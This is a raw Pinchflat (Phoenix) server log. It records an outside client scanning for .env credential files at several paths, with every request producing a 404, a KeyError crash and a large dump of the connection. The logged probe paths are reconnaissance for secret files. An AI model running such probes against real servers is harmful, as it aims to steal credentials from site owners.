"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3230.0>, params: %{}, path_info: ["new", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/new/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-g8_CrU9ATUAAOaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3229.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/new/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49592}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /new/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3229.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/new/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49592}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3230.0>, params: %{}, path_info: ["new", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:40.239 [info] GET /conf/.env 21:08:40.239 [debug] QUERY OK source="settings" db=0.1ms idle=63.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.239 [debug] QUERY OK source="settings" db=0.1ms idle=21.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.239 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.240 [error] #PID<0.3232.0> running PinchflatWeb.Endpoint (connection #PID<0.3231.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /conf/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /conf/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3231.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/conf/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49596}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3232.0>, params: %{}, path_info: ["conf", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/conf/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-g_l9KEu1HoAAOcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3231.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/conf/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49596}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /conf/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3231.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/conf/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49596}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3232.0>, params: %{}, path_info: ["conf", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:40.250 [info] GET /www/.env 21:08:40.251 [debug] QUERY OK source="settings" db=0.2ms idle=22.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.251 [debug] QUERY OK source="settings" db=0.1ms idle=22.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.251 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.251 [error] #PID<0.3234.0> running PinchflatWeb.Endpoint (connection #PID<0.3233.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /www/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /www/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3233.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49602}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3234.0>, params: %{}, path_info: ["www", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/www/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-hCauiQQhGwAAOeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3233.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49602}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /www/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3233.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/www/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49602}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3234.0>, params: %{}, path_info: ["www", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, (truncated) 21:08:40.290 [info] GET /site/.env 21:08:40.291 [debug] QUERY OK source="settings" db=0.2ms idle=51.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.292 [debug] QUERY OK source="settings" db=0.3ms idle=51.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.292 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.292 [error] #PID<0.3236.0> running PinchflatWeb.Endpoint (connection #PID<0.3235.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /site/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3235.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49608}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3236.0>, params: %{}, path_info: ["site", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/site/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-hL8uWfNrH0AAOgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3235.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49608}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /site/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3235.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/site/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49608}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3236.0>, params: %{}, path_info: ["site", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https" (truncated) 21:08:40.319 [info] GET /crm/.env 21:08:40.320 [debug] QUERY OK source="settings" db=0.3ms idle=75.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.321 [debug] QUERY OK source="settings" db=0.2ms idle=69.4ms SELECT 